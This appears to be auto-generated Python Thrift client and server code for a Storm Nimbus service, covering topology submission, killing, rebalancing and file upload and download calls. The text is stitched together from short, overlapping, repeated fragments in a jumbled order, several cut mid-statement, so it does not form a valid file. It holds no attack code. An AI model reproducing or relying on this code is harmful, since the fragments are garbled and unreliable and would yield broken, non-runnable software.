TType.STRING: self.jsonConf = iprot.readString(); else: iprot.skip(ftype) elif", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self, seqid, iprot, oprot): args", "= iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk is not", "getTopology(self, id): \"\"\" Parameters: - id \"\"\" pass def getUserTopology(self,", "= getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "raise x result = uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return def finishFileUpload(self,", "uploadedJarLocation - jsonConf - topology - options \"\"\" pass def", "= uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() return def finishFileUpload(self, location): \"\"\" Parameters:", "(RebalanceOptions, RebalanceOptions.thrift_spec), None, ), # 2 ) def __init__(self, name=None,", "= Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] =", "= id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self, ): (fname, mtype,", "- options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology, options) self.recv_submitTopologyWithOpts() def", "= rebalance_args() args.name = name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd()", "1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT,", "Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk", "None, ), # 1 (2, TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec), None,", "= ( (0, TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec), None, ), #", "def send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid)", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = downloadChunk_result()", "= deactivate_args() args.read(iprot) iprot.readMessageEnd() result = deactivate_result() try: self._handler.deactivate(args.name) except", "# 1 ) def __init__(self, name=None,): self.name = name def", "== TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "return not (self == other) class deactivate_result: \"\"\" Attributes: -", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd()", "= NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "id=None,): self.id = id def read(self, iprot): if iprot.__class__ ==", "YOU KNOW WHAT YOU ARE DOING # # options string:", "seqid, iprot, oprot): args = finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result =", "def __ne__(self, other): return not (self == other) class uploadChunk_args:", "def __init__(self, success=None, e=None,): self.success = success self.e = e", "(self == other) class getTopology_result: \"\"\" Attributes: - success -", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if", "== other) class killTopology_result: \"\"\" Attributes: - e \"\"\" thrift_spec", "self.recv_beginFileUpload() def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args = beginFileUpload_args()", "oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if self.success is not None:", "iprot.readString(); else: iprot.skip(ftype) elif fid == 4: if ftype ==", "if ftype == TType.STRING: self.id = iprot.readString(); else: iprot.skip(ftype) else:", "process_activate(self, seqid, iprot, oprot): args = activate_args() args.read(iprot) iprot.readMessageEnd() result", "- name - uploadedJarLocation - jsonConf - topology \"\"\" pass", "topology def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "Client(Iface): def __init__(self, iprot, oprot=None): self._iprot = self._oprot = iprot", "(self == other) class submitTopologyWithOpts_args: \"\"\" Attributes: - name -", "topology - options \"\"\" pass def killTopology(self, name): \"\"\" Parameters:", "import * from thrift.Thrift import TProcessor from thrift.transport import TTransport", "None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.options is not", "= chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self, ): (fname, mtype,", "thrift_spec = ( None, # 0 (1, TType.STRUCT, 'e', (NotAliveException,", "args = finishFileUpload_args() args.location = location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self,", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "def __init__(self, success=None,): self.success = success def read(self, iprot): if", "e except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY,", "ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break else:", "self.jsonConf = jsonConf self.topology = topology self.options = options def", "iprot.readMessageEnd() result = getTopologyInfo_result() try: result.success = self._handler.getTopologyInfo(args.id) except NotAliveException", "self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT,", "return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other):", "iprot.skip(ftype) elif fid == 2: if ftype == TType.STRUCT: self.options", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if self.success is not", "return not (self == other) class getClusterInfo_result: \"\"\" Attributes: -", "result.success = self._handler.getTopologyConf(args.id) except NotAliveException as e: result.e = e", "downloadChunk_args: \"\"\" Attributes: - id \"\"\" thrift_spec = ( None,", "self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT,", "= id def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "seqid, iprot, oprot): args = getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result =", "deactivate(self, name): \"\"\" Parameters: - name \"\"\" pass def rebalance(self,", "not None: raise result.e return def deactivate(self, name): \"\"\" Parameters:", "def getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyConf(id) return", "None, # 0 (1, TType.STRING, 'id', None, None, ), #", "== other) class getTopologyConf_args: \"\"\" Attributes: - id \"\"\" thrift_spec", "result = getUserTopology_result() try: result.success = self._handler.getUserTopology(args.id) except NotAliveException as", "(StormTopology, StormTopology.thrift_spec), None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException,", "__repr__(self): L = ['%s=%r' % (key, value) for key, value", "getTopology_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec =", "= Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"] =", "raise x result = activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "\"\"\" Attributes: - location - chunk \"\"\" thrift_spec = (", "Parameters: - name \"\"\" pass def killTopologyWithOpts(self, name, options): \"\"\"", "options \"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts',", "(1, TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ), # 1 (2,", "args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self, ): (fname,", "id def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop()", "class activate_args: \"\"\" Attributes: - name \"\"\" thrift_spec = (", "self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if self.file is not None: oprot.writeFieldBegin('file', TType.STRING,", "Attributes: - name - uploadedJarLocation - jsonConf - topology -", "unknown result\"); def getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\"", "self._iprot.readMessageEnd() raise x result = deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "None: raise result.ite return def beginFileUpload(self, ): self.send_beginFileUpload() return self.recv_beginFileUpload()", "None, # 0 (1, TType.STRING, 'location', None, None, ), #", "x result = getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd()", "oprot.trans.flush() def process_activate(self, seqid, iprot, oprot): args = activate_args() args.read(iprot)", "other): return not (self == other) class killTopology_args: \"\"\" Attributes:", "self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) elif fid == 5:", "if self.chunk is not None: oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd()", "args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self, ): (fname,", "args.jsonConf, args.topology) except AlreadyAliveException as e: result.e = e except", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self, seqid, iprot, oprot): args =", "self.send_getClusterInfo() return self.recv_getClusterInfo() def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args", "def process_submitTopologyWithOpts(self, seqid, iprot, oprot): args = submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd()", "other): return not (self == other) class getTopologyInfo_result: \"\"\" Attributes:", "self._iprot.readMessageEnd() raise x result = getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "as e: result.e = e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "jsonConf, topology, options): \"\"\" Parameters: - name - uploadedJarLocation -", "KillOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() if self.options", "args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self, ): (fname,", "', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__", "= self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self,", "ite: result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "self._processMap = {} self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"]", "= downloadChunk_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if", "StormTopology.thrift_spec), None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec),", "def process_getTopologyConf(self, seqid, iprot, oprot): args = getTopologyConf_args() args.read(iprot) iprot.readMessageEnd()", "e - ite \"\"\" thrift_spec = ( None, # 0", "\"\"\" Parameters: - id \"\"\" pass class Client(Iface): def __init__(self,", "result\"); def getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyInfo(id)", "Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown result\"); def getTopologyInfo(self, id): \"\"\"", "getTopologyConf_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self, ):", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "= options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ): (fname, mtype,", "self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_uploadChunk(self, seqid,", "self._iprot.readMessageEnd() if result.e is not None: raise result.e if result.ite", "name \"\"\" self.send_activate(name) self.recv_activate() def send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid)", "# 1 (2, TType.STRING, 'chunk', None, None, ), # 2", "is not None: raise result.e if result.ite is not None:", "raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown result\"); def getTopology(self,", "self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"]", "other) class activate_result: \"\"\" Attributes: - e \"\"\" thrift_spec =", "= ( (0, TType.STRING, 'success', None, None, ), # 0", "= self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self,", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if self.name is not", "- e \"\"\" thrift_spec = ( None, # 0 (1,", "== other) class getTopology_result: \"\"\" Attributes: - success - e", "def send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args = killTopologyWithOpts_args()", "result.e = e except InvalidTopologyException as ite: result.ite = ite", "recv_getClusterInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "= Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] =", "= iprot.readMessageBegin() if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x", "oprot self._seqid = 0 def submitTopology(self, name, uploadedJarLocation, jsonConf, topology):", "result = getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "= uploadedJarLocation args.jsonConf = jsonConf args.topology = topology args.write(self._oprot) self._oprot.writeMessageEnd()", "not (self == other) class activate_result: \"\"\" Attributes: - e", "5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ ==", "__ne__(self, other): return not (self == other) class submitTopologyWithOpts_args: \"\"\"", "thrift_spec = ( None, # 0 (1, TType.STRING, 'file', None,", "beginFileUpload(self, ): self.send_beginFileUpload() return self.recv_beginFileUpload() def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL,", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if self.name is not None:", "other) class killTopology_args: \"\"\" Attributes: - name \"\"\" thrift_spec =", "location=None, chunk=None,): self.location = location self.chunk = chunk def read(self,", "elif fid == 1: if ftype == TType.STRUCT: self.e =", "== TType.STRUCT: self.success = ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self, seqid, iprot, oprot): args =", "result = getNimbusConf_result() result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot)", "# 2 ) def __init__(self, name=None, options=None,): self.name = name", "\"beginFileDownload failed: unknown result\"); def downloadChunk(self, id): \"\"\" Parameters: -", "pass def finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\" pass", "= e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self,", "args.read(iprot) iprot.readMessageEnd() result = beginFileUpload_result() result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY,", "value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__,", "fid == 2: if ftype == TType.STRUCT: self.options = KillOptions()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if self.success is not None:", "def __ne__(self, other): return not (self == other) class rebalance_args:", "result = finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return def beginFileDownload(self, file): \"\"\"", "oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self, seqid, iprot, oprot): args = beginFileDownload_args()", "def activate(self, name): \"\"\" Parameters: - name \"\"\" self.send_activate(name) self.recv_activate()", "ftype == TType.STRING: self.jsonConf = iprot.readString(); else: iprot.skip(ftype) elif fid", "not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown result\");", "options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args = submitTopologyWithOpts_args() args.name = name", "ftype == TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) elif", "\"\"\" Parameters: - name \"\"\" self.send_activate(name) self.recv_activate() def send_activate(self, name):", "is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown", "other) class getUserTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec =", "result\"); def getClusterInfo(self, ): self.send_getClusterInfo() return self.recv_getClusterInfo() def send_getClusterInfo(self, ):", "iprot.readMessageEnd() result = finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "other): return not (self == other) class activate_result: \"\"\" Attributes:", "def recv_submitTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "\"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid)", "TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "not (self == other) class getTopology_args: \"\"\" Attributes: - id", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args')", "result = killTopology_result() try: self._handler.killTopology(args.name) except NotAliveException as e: result.e", "Parameters: - name - options \"\"\" pass def activate(self, name):", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "oprot): args = uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result = uploadChunk_result() self._handler.uploadChunk(args.location,", "0 (1, TType.STRING, 'location', None, None, ), # 1 (2,", "(fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result') if self.e is not None:", "result.e = e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() #", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if", "return not (self == other) class beginFileDownload_result: \"\"\" Attributes: -", "name - uploadedJarLocation - jsonConf - topology \"\"\" self.send_submitTopology(name, uploadedJarLocation,", "= beginFileDownload_args() args.file = file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self,", "return not (self == other) class rebalance_result: \"\"\" Attributes: -", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self, ): (fname, mtype, rseqid) =", "= self._handler.getTopologyInfo(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyInfo\",", "TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid ==", "(0, TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec), None, ), # 0 (1,", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self, seqid, iprot, oprot): args =", "result.e is not None: raise result.e return def activate(self, name):", "e=None,): self.e = e def read(self, iprot): if iprot.__class__ ==", "function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "__init__(self, handler): self._handler = handler self._processMap = {} self._processMap[\"submitTopology\"] =", "uploadChunk_args() args.location = location args.chunk = chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "= Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] =", "self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_args') if self.id is not None:", "- success - e \"\"\" thrift_spec = ( (0, TType.STRING,", "other) class uploadChunk_result: thrift_spec = ( ) def read(self, iprot):", "recv_submitTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = activate_result()", "== 1: if ftype == TType.STRING: self.file = iprot.readString(); else:", "self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self, seqid,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if self.success is not None: oprot.writeFieldBegin('success',", "other): return not (self == other) class getTopologyConf_result: \"\"\" Attributes:", "TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) elif fid == 1:", "args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self, ): (fname,", "- options \"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name, options):", "oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L =", "== 0: if ftype == TType.STRUCT: self.success = TopologyInfo() self.success.read(iprot)", "self._oprot = iprot if oprot is not None: self._oprot =", "= jsonConf self.topology = topology self.options = options def read(self,", "Parameters: - file \"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload() def send_beginFileDownload(self, file):", "break if fid == 1: if ftype == TType.STRING: self.location", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if self.id is", "def getNimbusConf(self, ): pass def getClusterInfo(self, ): pass def getTopologyInfo(self,", "def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args = deactivate_args() args.name", "result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed:", "Thrift Compiler (0.9.0) # # DO NOT EDIT UNLESS YOU", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = finishFileUpload_result() result.read(self._iprot)", "= name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self, ): (fname, mtype,", "args.read(iprot) iprot.readMessageEnd() result = killTopology_result() try: self._handler.killTopology(args.name) except NotAliveException as", "== other) class beginFileUpload_args: thrift_spec = ( ) def read(self,", "recv_getTopologyConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "self.topology.read(iprot) else: iprot.skip(ftype) elif fid == 5: if ftype ==", "= finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "thrift_spec = ( None, # 0 (1, TType.STRING, 'location', None,", "return self.recv_getTopologyConf() def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args =", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self, ): (fname, mtype, rseqid) =", "seqid, iprot, oprot): args = uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result =", "not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown result\");", "self.recv_downloadChunk() def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args = downloadChunk_args()", "\"\"\" Attributes: - file \"\"\" thrift_spec = ( None, #", "def __ne__(self, other): return not (self == other) class deactivate_args:", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown result\"); class Processor(Iface, TProcessor): def", "args = getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self, ): (fname,", "def getClusterInfo(self, ): self.send_getClusterInfo() return self.recv_getClusterInfo() def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo',", "__ne__(self, other): return not (self == other) class deactivate_args: \"\"\"", "downloadChunk(self, id): \"\"\" Parameters: - id \"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk()", "self.location = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if", "not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.options is", "1 (2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ), # 2", "oprot.trans.flush() def process_downloadChunk(self, seqid, iprot, oprot): args = downloadChunk_args() args.read(iprot)", "self.recv_uploadChunk() def send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args =", "args.location = location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self, ): (fname,", "not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown result\");", "self.ite = InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() if self.ite is not None:", "not (self == other) class getNimbusConf_result: \"\"\" Attributes: - success", "ftype == TType.STRUCT: self.options = RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype) else:", "if result.ite is not None: raise result.ite return def submitTopologyWithOpts(self,", "seqid, iprot, oprot): args = beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result =", "InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "self.e.write(oprot) oprot.writeFieldEnd() if self.ite is not None: oprot.writeFieldBegin('ite', TType.STRUCT, 2)", "= Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def process(self,", "try: self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException as e: result.e = e", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, 